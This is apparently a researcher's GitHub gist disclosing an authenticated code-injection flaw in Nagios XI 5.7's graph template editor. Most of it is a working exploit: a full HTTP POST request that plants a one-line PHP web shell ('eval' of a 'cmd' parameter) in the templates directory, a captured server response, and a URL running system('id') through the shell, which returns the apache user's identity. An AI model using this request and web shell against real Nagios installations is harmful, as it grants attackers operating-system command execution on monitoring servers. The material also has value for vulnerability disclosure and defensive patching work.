leommxj / **nagios_graphtemplates_code_injection.md** Secret

Created 2 years ago

Code Revisions 1

nagios_graphtemplates_code_injection.md

In nagios xi 5.7, admin can edit/delete/add template in `/nagiosxi/admin/graphtemplates.php` the template will be store in `/usr/local/nagios/share/pnp/templates` . Which can be accessed and execute as a PHP file through `/nagios/pnp/templates/?.php` . and lead to PHP code execution and OS command execution as apache.

```
POST /nagiosxi/admin/graphtemplates.php?edit=check_local_disk.php&dir=templates HTTP/1.1
Host: 192.168.25.171
Content-Length: 611
Cache-Control: max-age=0
Origin: http://192.168.25.171
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymAt1uGvvmFoBzcFa
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/86.0.4240.198 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,app
lication/signed-exchange;v=b3;q=0.9
Referer:
http://192.168.25.171/nagiosxi/admin/graphtemplates.php?edit=check_local_disk.php&dir=templates
Accept-Language: zh-CN,zh;q=0.9,fr;q=0.8,ja;q=0.7
Cookie: nagiosxi=rs12ujqt427gi5mffb6qhjt426
Connection: close

------WebKitFormBoundarymAt1uGvvmFoBzcFa
Content-Disposition: form-data; name="nsp"

1131e12b67de99ea2fbf13beb767f93bcec0c284998038ed42ae3979618608881
------WebKitFormBoundarymAt1uGvvmFoBzcFa
Content-Disposition: form-data; name="dir"

templates
------WebKitFormBoundarymAt1uGvvmFoBzcFa
Content-Disposition: form-data; name="file"

test.php
------WebKitFormBoundarymAt1uGvvmFoBzcFa
Content-Disposition: form-data; name="fc"

<?php @eval($_GET['cmd']); ?>

------WebKitFormBoundarymAt1uGvvmFoBzcFa
Content-Disposition: form-data; name="save"

Save
------WebKitFormBoundarymAt1uGvvmFoBzcFa--
```

```
HTTP/1.1 200 OK
Date: Mon, 16 Nov 2020 08:38:49
Server: Apache/2.4.6 (CentOS) O
X-Powered-By: PHP/5.4.16
Expires: Thu, 19 Nov 1981 08:52
Cache-Control: no-store, no-cac
Pragma: no-cache
Set-Cookie: nagiosxi=rs12ujqt42
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-
Connection: close
Content-Type: text/html; charse
Content-Length: 54266

        <!DOCTYPE html>
        <!-- Produced by Nagios
        <!-- Powered by the Nag
        <html>

    <head>
        <meta http-equiv="X-UA-
            <title>Manage G
        <meta name="ROBOTS" con
        <meta http-equiv="Conte


    <link rel="icon" type="imag
    <link rel="shortcut icon" h
    <link rel="apple-touch-icon
    <link rel="apple-touch-icon

    <!-- Adding Font-Awesome fo
    <link rel="stylesheet" type
/>

    <!-- Global variables & Jav
    <script type="text/javascri
    var base_url = "http://192.
    var backend_url = "http%3A%
    var ajax_helper_url = "http
    var ajax_proxy_url = "http:
    var suggest_url = "http://1
```

不安全 | 192.168.25.171/nagios/pnp/templates/test.php?cmd=system(%27id%27);

uid=48(apache) gid=48(apache) groups=48(apache),1000(nagios),1001(nagcmd)